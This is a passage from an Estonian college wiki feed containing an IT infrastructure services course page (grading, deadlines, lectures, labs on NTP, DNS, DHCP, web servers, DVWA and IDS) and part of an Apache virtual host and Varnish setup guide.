Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88395</id>
		<title>Virtualhost apache2 näitel</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88395"/>
		<updated>2015-05-04T10:19:40Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* installeerimine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:IT infrastruktuuri teenused]]&lt;br /&gt;
=Apache seadistamine=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/hosts&lt;br /&gt;
&lt;br /&gt;
192.168.56.101  www.planet.zz&lt;br /&gt;
192.168.56.101  sales.planet.zz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ping www.planet.zz&lt;br /&gt;
&lt;br /&gt;
ping sales.planet.zz    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
apt-get update     &lt;br /&gt;
apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
mkdir -p /var/www/www.planet.zz&lt;br /&gt;
mkdir -p /var/www/sales.planet.zz&lt;br /&gt;
cp /var/www/index.html /var/www/www.planet.zz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat &amp;gt;&amp;gt; /etc/network/interfaces &amp;lt;&amp;lt;EOL&lt;br /&gt;
auto eth1:0&lt;br /&gt;
iface eth1:0 inet static&lt;br /&gt;
        address 192.168.56.201&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
EOL&lt;br /&gt;
&lt;br /&gt;
ifup eth1:0&lt;br /&gt;
&lt;br /&gt;
cp /var/www/index.html /var/www/sales.planet.zz&lt;br /&gt;
vim /var/www/www.planet.zz/index.html&lt;br /&gt;
vim /var/www/sales.planet.zz/index.html&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/www.planet.zz&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/sales.planet.zz&lt;br /&gt;
&lt;br /&gt;
vim www.planet.zz &lt;br /&gt;
vim sales.planet.zz &lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz&lt;br /&gt;
a2ensite sales.planet.zz &lt;br /&gt;
service apache2 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=WordPress tuning=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
        ServerName wp.planet.zz&lt;br /&gt;
        DocumentRoot /var/www/wordpress&lt;br /&gt;
        &amp;lt;Directory /&amp;gt;&lt;br /&gt;
                Options FollowSymLinks&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
                Options Indexes FollowSymLinks MultiViews&lt;br /&gt;
                AllowOverride All&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/&lt;br /&gt;
        &amp;lt;Directory &amp;quot;/usr/lib/cgi-bin&amp;quot;&amp;gt;&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                Allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
&lt;br /&gt;
        # Possible values include: debug, info, notice, warn, error, crit,&lt;br /&gt;
        # alert, emerg.&lt;br /&gt;
        LogLevel warn&lt;br /&gt;
&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&lt;br /&gt;
    Alias /doc/ &amp;quot;/usr/share/doc/&amp;quot;&lt;br /&gt;
    &amp;lt;Directory &amp;quot;/usr/share/doc/&amp;quot;&amp;gt;&lt;br /&gt;
        Options Indexes MultiViews FollowSymLinks&lt;br /&gt;
        AllowOverride None&lt;br /&gt;
        Order deny,allow&lt;br /&gt;
        Deny from all&lt;br /&gt;
        Allow from 127.0.0.0/255.0.0.0 ::1/128&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pange tähele muudetud Directory seadeid.&lt;br /&gt;
&amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
AllowOverride All&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &#039;-1000&#039; &amp;gt; /proc/$(pidof mysqld)/oom_score_adj&lt;br /&gt;
a2enmod rewrite &lt;br /&gt;
a2enmod headers &lt;br /&gt;
a2enmod expires &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selle rea võib lisada alglaadimisel käivitatavasse faili &#039;&#039;/etc/rc.local&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Paigaldage oma valitud cace plugin wordpressile.&lt;br /&gt;
&lt;br /&gt;
=Varnish=&lt;br /&gt;
Esmaselt tõstame apache2 porti 8080&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/apache2/ports.conf&lt;br /&gt;
NameVirtualHost *:8080&lt;br /&gt;
Listen 8080&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; default -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; wp -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; sales.planet.zz -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; www.planet.zz -i&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
grep &#039;:80&#039; *&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
